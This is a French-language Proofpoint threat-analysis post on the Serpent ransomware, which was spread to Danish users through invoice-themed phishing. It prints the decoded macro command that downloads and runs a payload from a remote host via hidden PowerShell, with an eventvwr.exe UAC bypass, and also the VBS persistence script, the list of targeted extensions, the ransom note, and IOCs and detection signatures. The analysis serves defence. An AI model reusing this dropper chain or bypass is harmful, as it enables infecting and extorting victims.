Nouveau ransomware Serpent ciblant les danois

February 08, 2017
Proofpoint Staff

Si les menaces cantonnées à la messagerie ont été dominées par le ransomware Locky une bonne partie de 2016, de nouvelles variantes de ransomware font régulièrement leur apparition à mesure que les escrocs cherchent à rentabiliser la tendance amorcée l'année dernière avec Locky. Certaines de ces variantes sont assemblées à la hâte et faciles à craquer ; d'autres sont élaborées avec soin et combinées à des leurres redoutables. Le ransomware Serpent, que les chercheurs de Proofpoint ont identifié dernièrement et dont vous trouverez l'analyse ci-après, entre dans cette dernière catégorie.

Présentation

Le 7 février dernier, les chercheurs de Proofpoint ont découvert un nouveau ransomware appelé « Serpent » propagé via le courrier électronique à travers des liens conduisant à des documents Microsoft Office malveillants. Pour l'instant, Proofpoint a pu constater que cette menace ciblait des destinataires danois via l'objet « Sidste påmindelse for udestående faktura 1603750 » ou « Last reminder for outstanding invoice 1603750 » (Facture impayée 1603750 : dernier rappel). Le lien inclut dans ces e-mails malveillants entraine le téléchargement d'un document dont le nom est le numéro de facture indiqué dans l'objet : 1603750.doc. Un exemple de ce message est donné à la Figure 1.

Figure 1 : Exemple d'e-mail dont le lien conduit à un document malveillant ; le message, rédigé en danois, réclame le règlement d'une facture impayée et menace de confier le dossier à une agence de recouvrement.

Ce document contient des macros malveillantes qui, une fois ouvertes et activées, lancent le processus de contamination. D'après notre première analyse, ce ransomware semble avoir été élaboré avec soin. Il propose une page très crédible incluant une assistance, un forum aux questions et les instructions à suivre pour déchiffrer les fichiers. Le prix de ce logiciel rançon est aujourd'hui fixé à 0,75 bitcoins (787,09 USD à la date de publication de ce post) pour les sept premiers jours. Il passe ensuite à 2,25 BTC (près de 2 366,55 USD).

En analysant cette menace, les chercheurs de Proofpoint ont décelé des similarités entre Serpent et la variante de ransomware intitulée Hades Locker[1] identifiée précédemment, en particulier dans le protocole de commande et de contrôle (serveur C&C), dans la demande de rançon et dans les techniques de propagation.

Analyse

La première phase de l'infection démarre avec le téléchargement d'un document Microsoft Office malveillant par l'utilisateur. À l'ouverture de ce document, l'image suivante invite l'utilisateur à activer les macros :

Figure 2 : Leurre associé au document Microsoft Word malveillant incitant l'utilisateur à « Activer le contenu »

Le processus d'infection commence dès l'activation des macros, le texte suivant s'affichant alors pour dissimuler le véritable objectif du document aux victimes peu méfiantes :

Figure 3 : Document Microsoft Word malveillant après activation du contenu

Un examen plus attentif nous a permis de constater que les macros décodent et exécutent la commande suivante :

C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('hxxp://185.163.46[.]150/software.exe','C:\Users\[user name]\AppData\Local\Temp\\puttyx86.exe') & reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d C:\Users\[user name]\AppData\Local\Temp\\puttyx86.exe /f & eventvwr.exe & PING -n 15 127.0.0.1>nul & C:\Users\[user name]\AppData\Local\Temp\\puttyx86.exe

Cette commande utilise PowerShell pour télécharger le fichier exécutable à l'adresse 185.163.46[.]150, puis l'enregistre dans le dossier C:\Users\[nom de l'utilisateur]\AppData\Local\Temp\\ sous le nom « puttyx86.exe ». Elle utilise ensuite une technique de contournement du contrôle de compte d'utilisateur (UAC) en se servant du programme eventvwr.exe et du Registre Windows pour exécuter Serpent avec des privilèges élevés sans alerter l'utilisateur. Cette technique a déjà été observée dans d'autres infections.[2]

L'exécution de Serpent conduit à la création d'un mutex de MUTEX000001 dans l'hôte contaminé. D'autre part, Serpent collecte des données géographiques sur l'hôte infecté à travers une requête HTTP transmise à ipinfo[.]io/json. Peu après, Serpent envoie une requête HTTP POST au serveur C&C, qui lui transmet en retour plusieurs informations :

Figure 4 : Trafic C&C du ransomware Serpent

Cette requête contient un identifiant matériel (HWID) unique défini au format hwid=[A-F0-9]{8}-[A-F0-9]{8}-[A-F0-9]{8}-[A-F0-9]{8}. Cet HWID sert à lancer le processus de décryptage. Cet HWID est suivi du paramètre « campaign= », puis des caractères « %23 », ou « # », encodés dans l'URL et des chiffres qui permettent d'identifier la campagne associée à cette instance de Serpent. Enfin, la commande POST contient les paramètres « ip= » et « country= » qui renvoient les informations obtenues grâce à la requête ipinfo[.]io.

En cas de succès, la réponse du serveur C&C contient une valeur de clé « RSAKeyValue », et notamment un « Modulo » et un « Exposant ». Nous n'avons pas poussé plus loin notre analyse, mais ces éléments servent en général à déterminer la valeur d'une clé symétrique. Serpent ne crypte pas les fichiers si la machine de la victime n'est pas en ligne et ne peut pas se connecter au serveur C&C pour récupérer les éléments de la clé.

Pour perdurer sur la machine de la victime, Serpent crée la clé suivante dans le Registre : C:\Users\[nom d'utilisateur]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\raesdfgiuytr.vbs. Le contenu de « raesdfgiuytr.vbs » s'exécute ensuite au démarrage :

set ZDrCLRlUAizbyd = CreateobJEcT("WscRIpt.shEll") ZDRCLrluAIZbyD.Run """C:\Users\[nom d'utilisateur]\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"""

Au cours du processus de chiffrement, nous avons d'abord décelé près de 150 types de fichiers ciblés, mais après réception des dernières informations de l'équipe MalwareHunterTeam (@MalwrHunterTeam), il semble que ce chiffre atteigne près de 900 extensions (voir l'Annexe A). Dès que Serpent a localisé, puis crypté les fichiers ciblés, l'extension « .serpent » est ajoutée à l'ancienne extension de ces fichiers. Le fichier crypté « BlackRectangle.bmp.serpent » en est un exemple. Serpent dépose par ailleurs une demande de rançon dans les dossiers Bureau, Documents et Images, sous forme de fichier texte et de document HTML. Le nom de cette demande de rançon est « HOW_TO_DECRYPT_YOUR_FILES_[A-Za-z0-9]{3}.txt » et « HOW_TO_DECRYPT_YOUR_FILES_[A-Za-z0-9]{3}.html ». Vous trouverez le texte complet de la demande de rançon en Annexe B.

Figure 5 : Demandes de rançon du ransomware Serpent (versions HTML et texte)

Lorsqu'elle consulte la page de décryptage du ransomware Serpent, la victime doit saisir l'identifiant HWID indiqué dans la demande de rançon ou accéder directement à la page de décryptage en ajoutant cet HWID à la fin de l'URI.

Dès qu'elle saisit le HWID unique indiqué dans la demande de rançon, la victime a accès à la page principale du ransomware Serpent. La page d'accueil donne les instructions à suivre pour acheter le programme de décryptage (Serpent Decrypter) au prix de 0,75 BTC. Serpent lance alors un compte à rebours de sept jours, à l'expiration duquel le prix du décryptage passe à 2,25 BTC. Outre la page principale, les pages FAQ, Instructions et Support sont également disponibles. La page « Support » permet à la victime d'envoyer un message à l'équipe de Serpent. Une adresse BTC unique est générée à chaque infection.

Figure 6 : Page principale du site Web de décryptage du ransomware Serpent

Figure 7 : Page FAQ du site Web de décryptage du ransomware Serpent

Figure 8 : Instructions de décryptage du site Web du ransomware Serpent

Figure 9 : Portail d'assistance du site Web de décryptage du ransomware Serpent

Conclusion

Les ransomware ne cessent de se développer, et de nouvelles variantes sont découvertes chaque jour ou presque. Le ransomware Serpent n'est pas une exception et, par rapport aux autres variantes « artisanales », il semble avoir été soigneusement conçu par des professionnels. Si Serpent se propage pour l'instant moins que Cerber, Sage 2.0 et d'autres encore, il pourrait bientôt faire partie des ransomware distribués à grande échelle. Parallèlement à Serpent, d'autres astuces de propagation par e-mail continuent de faire leur apparition, par exemple l'inclusion de liens de téléchargement de documents malveillants plutôt que des fichiers joints. Comme la création et la propagation des ransomware ne montrent aucun signe de ralentissement, nous allons continuer à surveiller l'évolution de ces menaces, ainsi que leur impact sur les entreprises et les particuliers.

Références

[1] proofpoint.com/us/threat-insight/post/hades-locker-ransomware-mimics-locky

[2] enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking

Indicateurs de compromission (IOC)

IOC

Type d'IOC

Description

hxxp://tomrerarbejdeolsen[.]com/1603750.doc

URL

Lien inclus dans l'e-mail

7f651e264ff49fedc437ec138e81e5683e579a5d886a31b217b1d847b6fb1d0a

SHA256

1603750.doc

hxxp://185.163.46[.]150/software.exe

URL

Charge utile du document

2c8da65cafc883c75bf3f15c3e3dcbe519aebd71759832812c2ac2695d31286d

SHA256

software.exe (Ransomware Serpent)

146.71.84[.]110:8080

C&C

Serveur C&C du ransomware Serpent

185.175.208[.]12:8080

C&C

Domaine de téléchargement du ransomware Serpent

94.140.120[.]88:8080

C&C

Serveur C&C du ransomware Serpent

3o4kqe6khkfgx25g[.]onion

Domaine du paiement

Domaine du décryptage de Serpent

vdpbkmwbnp[.]pw

Domaine du paiement

Domaine du décryptage de Serpent

hnxrvobhgm[.]pw

Domaine du paiement

Domaine du décryptage de Serpent

Couverture ET et ETPRO Suricata/Snort

2016141 - ET INFO Téléchargement du programme exécutable depuis un hôte à quatre points
2000419 - ET POLICY PE Téléchargement de fichier Windows EXE ou DLL
2016538 - ET INFO Récupération du programme exécutable avec un minimum d'en-têtes HTTP - Téléchargement potentiel de seconde phase
2021076 - ET INFO Réponse MZ de l'hôte à quatre points suspect
2020716 - ET POLICY Recherche d'adresse IP externe potentielle ipinfo.io
2824808 - ETPRO TROJAN Enregistrement du ransomware Win32/Serpent

Couverture ClamAV

MiscreantPunch.EvilMacro.MultiPSDL.M2.170206.UNOFFICIAL

Annexe A

.2011,.2012,.2013,.2014,.2015,.2016,.2017,.7zip,.accd,.accdb,.accde,.accdr,.accdt,.aepx,.agdl,.aiff,.aspx,.back,.backup,.backupdb,.bank,.blend,.btif,.cdr3,.cdr4,.cdr5,.cdr6,.cdrw,.cfdi,.clas,.class,.cntk,.config,.craw,.db-journal,.db_journal,.ddoc,.ddrw,.defx,.design,.djvu,.docb,.docm,.docx,.dotm,.dotx,.dtau,.efsl,.erbsql,.fcpa,.fcpr,.flac,.flvv,.gray,.grey,.groups,.html,.iban,.ibank,.idml,.incpas,.indb,.indd,.indl,.indt,.int?,.intu,.java,.jpeg,.jsda,.kdbx,.kpdx,.laccdb,.lay6,.m2ts,.m3u8,.mbsb,.meta,.mhtm,.mone,.moneywell,.mpeg,.ms11,.myox,.nvram,.pages,.pcif,.php5,.phtml,.plus_muhd,.potm,.potx,.ppam,.ppsm,.ppsx,.pptm,.pptx,.prel,.prpr,.psafe3,.pspimage,.ptdb,.qb20,.qbmb,.qbmd,.qcow,.qcow2,.qdfx,.qmtf,.quic,.qwmo,.resx,.s3db,.safe,.sas7bdat,.save,.seam,.sldm,.sldx,.sqli,.sqlite,.sqlitedb,.tax0,.tax1,.tax2,.text,.tiff,.tt10,.tt11,.tt12,.tt13,.tt14,.tt15,.tt20,.vbox,.vbpf,.vhdx,.vmdk,.vmsd,.vmxf,.wallet,.xhtm,.xlam,.xlsb,.xlsb,3dm,.xlsm,.xlsx,.xltm,.xltx,.ycbcra,.zipx,.#vc, .$ac, ._vc, .00c, .07g, .07i, .08i, .09i, .09t, .10t, .11t, .123, .13t, .1cd, .1pa, .1pe, .2011, .2012, .2013, .2014, .2015, .2016, .2017, .210, .3dm, .3ds, .3fr, .3g2, .3gp, .3me, .3pe, .3pr, .500, .7z, .7zip, .aac, .aaf, .ab4, .abk, .ac, .ac2, .acc, .accd, .accdb, .accde, .accdr, .accdt, .ach, .aci, .acm, .acr, .act, .adb, .adp, .ads, .aep, .aepx, .aes, .aet, .afm, .agdl, .ai, .aif, .aiff, .ait, .al, .amj, .aoi, .apj, .arc, .arw, .as, .as3, .asc, .asf, .asm, .asp, .aspx, .asx, .ati, .avi, .awg, .back, .backup, .backupdb, .bak, .bank, .bat, .bay, .bb, .bc8, .bc9, .bd2, .bd3, .bdb, .bgt, .bik, .bin, .bk, .bk2, .bkc, .bke, .bkf, .bkn, .bkp, .blend, .bmp, .bpf, .bpp, .bpw, .brd, .brw, .btif, .bup, .bz2, .c, .cal, .cat, .cb, .cd, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdt, .cdx, .ce1, .ce2, .cer, .cf8, .cf9, .cfdi, .cfg, .cfp, .cgm, .cgn, .ch, .chg, .cht, .cib, .clas, .class, .clk, .cls, .cmd, .cmt, .cmx, .cnt, .cntk, .coa, .config, .contact, .cpi, .cpp, .cpt, .cpw, .cpx, .cr2, .craw, .crt, .crw, .cs, .csh, .csl, .csr, .css, .csv, .cur, .cus, .cvt, .d07, .dac, .dat, .db, .db-journal, .db_journal, .db3, .dbf, .dbk, .dbx, .dc2, .dch, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .defx, .der, .des, .design, .dgc, .dif, .dip, .dit, .djv, .djvu, .dng, .doc, .docb, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .ds4, .dsb, .dsf, .dtau, .dtb, .dtd, .dtl, .dwg, .dxb, .dxf, .dxg, .dxi, .ebc, .ebd, .ebq, .ec8, .edb, .efs, .efsl, .efx, .emd, .eml,.emp, .ens, .ent, .epa, .epb, .eps, .eqb, .erbsql, .erf, .ert, .esk, .ess, .esv, .etq, .ets, .exf, .exp, .fa1, .fa2, .fb, .fbw, .fca, .fcpa, .fcpr, .fcr, .fdb, .fef, .ffd, .fff, .fh, .fhd, .fim, .fkc, .fla, .flac, .flf, .flv, .flvv, .fmb, .fmv, .fon, .fpx, .frm, .fx0, .fx1, .fxg, .fxr, .fxw, .fyc, .gdb, .gem, .gfi, .gif, .gnc, .gpc, .gpg, .gray, .grey, .groups, .gry, .gsb, .gto, .gz, .h, .h10, .h11, .h12, .hbk, .hdd, .hif, .hpp, .hsr, .htm, .html, .hts, .hwp, .i2b, .iban, .ibank, .ibd, .ibz, .ico, .idml, .idx, .iff, .iif, .iiq, .img, .imp, .incpas, .indb, .indd, .indl, .indt, .ini, .int?, .intu, .inv, .inx, .ipe, .ipg, .itf, .jar, .java, .jin, .jng, .jnt, .jou, .jp2, .jpe, .jpeg, .jpg, .js, .jsd, .jsda, .jsp, .kb7, .kbx, .kc2, .kd3, .kdbx, .kdc, .key, .kmo, .kmy, .kpdx, .kwm, .laccdb, .lay, .lay6, .lcd, .ldc, .ldf, .ldr, .let, .lgb, .lhr, .lid, .lin, .lit, .lld, .lmr, .log, .lua, .lz, .m, .m10, .m11, .m12, .m14, .m15, .m16, .m2ts, .m3u, .m3u8, .m4a, .m4p, .m4u, .m4v, .mac, .max, .mbk, .mbsb, .mbx, .md, .mda, .mdb, .mdc, .mdf, .mef, .mem, .met, .meta, .mfw, .mhtm, .mid, .mkv, .ml2, .ml9, .mlb, .mlc, .mmb, .mml, .mmw, .mn1, .mn2, .mn3, .mn4, .mn5, .mn6, .mn7, .mn8, .mn9, .mne, .mnp, .mny, .mone, .moneywell, .mos, .mov, .mp2, .mp3, .mp4, .mpa, .mpe, .mpeg, .mpg, .mql, .mrq, .mrw, .ms11, .msg, .mwi, .mws, .mx0, .myd, .mye, .myi, .myox, .n43, .nap, .nd, .ndd, .ndf, .nef, .nk2, .nl2, .nni, .nop, .npc, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nv, .nv2, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obi, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .oet, .ofc, .ofx, .ogg, .oil, .old, .omf, .op, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p08, .p12, .p7b, .p7c, .pab, .pages, .paq, .pas, .pat, .pbl, .pcd, .pcif, .pct, .pcx, .pd6, .pdb, .pdd, .pdf, .pef, .pem, .per, .pfb, .pfd, .pfx, .pg, .php, .php5, .phtml, .pic, .pif, .pl, .plb, .plc, .pls, .plt, .plus_muhd, .pma, .pmd, .png, .pns, .por, .pot, .potm, .potx, .pp4, .pp5, .ppam, .ppf, .ppj, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .pr0, .pr1, .pr2, .pr3, .pr4, .pr5, .prel, .prf, .prn, .prpr, .ps, .psafe3, .psd, .psp, .pspimage, .pst, .ptb, .ptdb, .ptk, .ptx, .pvc, .pwm, .pxa, .py, .q00, .q01, .q06, .q07, .q08, .q09, .q43, .q98, .qb1, .qb20, .qba, .qbb, .qbi, .qbk, .qbm, .qbmb, .qbmd, .qbo, .qbp, .qbr, .qbw, .qbx, .qby, .qbz, .qch, .qcow, .qcow2, .qdf, .qdfx, .qdt, .qed, .qel, .qem, .qfi, .qfx, .qif, .qix, .qme, .qml, .qmt, .qmtf, .qnx, .qob, .qpb, .qpd, .qpg, .qph, .qpi, .qsd, .qsm, .qss, .qst, .qtx, .quic, .quo, .qw5, .qwc, .qwmo, .qxf, .r3d, .ra, .raf, .rar, .rat, .raw, .rb, .rcs, .rda, .rdb, .rdy, .reb, .rec, .resx, .rif, .rm, .rpb, .rpf, .rss, .rtf, .rtp, .rvt, .rw2, .rwl, .rwz, .rz, .s12, .s3db, .s7z, .saf, .safe, .saj, .sas7bdat, .sav, .save, .say, .sba, .sbc, .sbd, .sbf, .sbk, .scd, .sch, .sct, .sd0, .sda, .sdf, .sdy, .seam, .ses, .set, .shw, .sic, .sik, .skg, .sldm, .sldx, .slk, .slp, .spf, .spi, .sql, .sqli, .sqlite, .sqlite3, .sqlitedb, .sr2, .srf, .srt, .srw, .ssg, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stm, .str, .stw, .stx, .svg, .swf, .swp, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .t00, .t01, .t02, .t03, .t04, .t05, .t06, .t07, .t08, .t09, .t10, .t11, .t12, .t13, .t14, .t15, .t99, .ta1, .ta2, .ta4, .ta5, .ta6, .ta8, .ta9, .tar, .tax, .tax0, .tax1, .tax2, .tb2, .tbk, .tbp, .tdr, .tex, .text, .tfx, .tga, .tgz, .thm, .tib, .tif, .tiff, .tjl, .tkr, .tlg, .tom, .tpl, .trm, .trn, .tt10, .tt11, .tt12, .tt13, .tt14, .tt15, .tt20, .ttf, .txf, .txt, .u08, .u10, .u11, .u12, .umb, .uop, .uot, .v30, .vb, .vbk, .vbox, .vbpf, .vbs, .vcf, .vdf, .vdi, .vhd, .vhdx, .vib, .vmb, .vmdk, .vmsd, .vmx, .vmxf, .vnd, .vob, .vrb, .vsd, .vyp, .vyr, .wab, .wac, .wad, .wallet, .war, .wav, .wb2, .wbk, .wi, .wk1, .wk3, .wk4, .wks, .wma, .wmf, .wmv, .wpd, .wpg, .wps, .x11, .x3f, .xaa, .xcf, .xeq, .xhtm, .xis, .xla, .xlam, .xlc, .xlk, .xll, .xlm, .xlr, .xls, .xlsb, .xlsb,3dm, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xpm, .xqx, .ycbcra, .yuv, .zdb, .zip, .zipx, .zix, .zka

Annexe B (traduction en français)

==== VOUS AVEZ BESOIN D'AIDE À LA TRADUCTION ? Utilisez https://translate.google.com ====
================ VEUILLEZ LIRE CE MESSAGE ATTENTIVEMENT ================

Vos documents, photos, vidéos, bases de données et autres fichiers importants sont désormais cryptés !
Vos fichiers ont été cryptés à l'aide de clés AES256 et RSA2048 (indéchiffrables).

Pour les décrypter, vous devez acheter le logiciel 'Serpent Decrypter'.
Ce logiciel est disponible dans les sites Web ci-dessous.

http://vdpbkmwbnp[.]pw/00000000-00000000-00000000-00000000
http://hnxrvobhgm[.]pw/00000000-00000000-00000000-00000000

Si les sites Web précédents ne fonctionnent pas, vous pouvez utiliser un site Web spécial présent sur le réseau TOR. Procédez comme suit :
1. Téléchargez le navigateur TOR à l'adresse https://www.torproject.org/projects/torbrowser.html.en#downloads.
2. Dans le navigateur TOR, accédez à l'adresse : 3o4kqe6khkfgx25g[.]onion/00000000-00000000-00000000-00000000.
3. Suivez les instructions fournies pour acheter 'Serpent Decrypter'.

================ VEUILLEZ LIRE CE MESSAGE ATTENTIVEMENT ================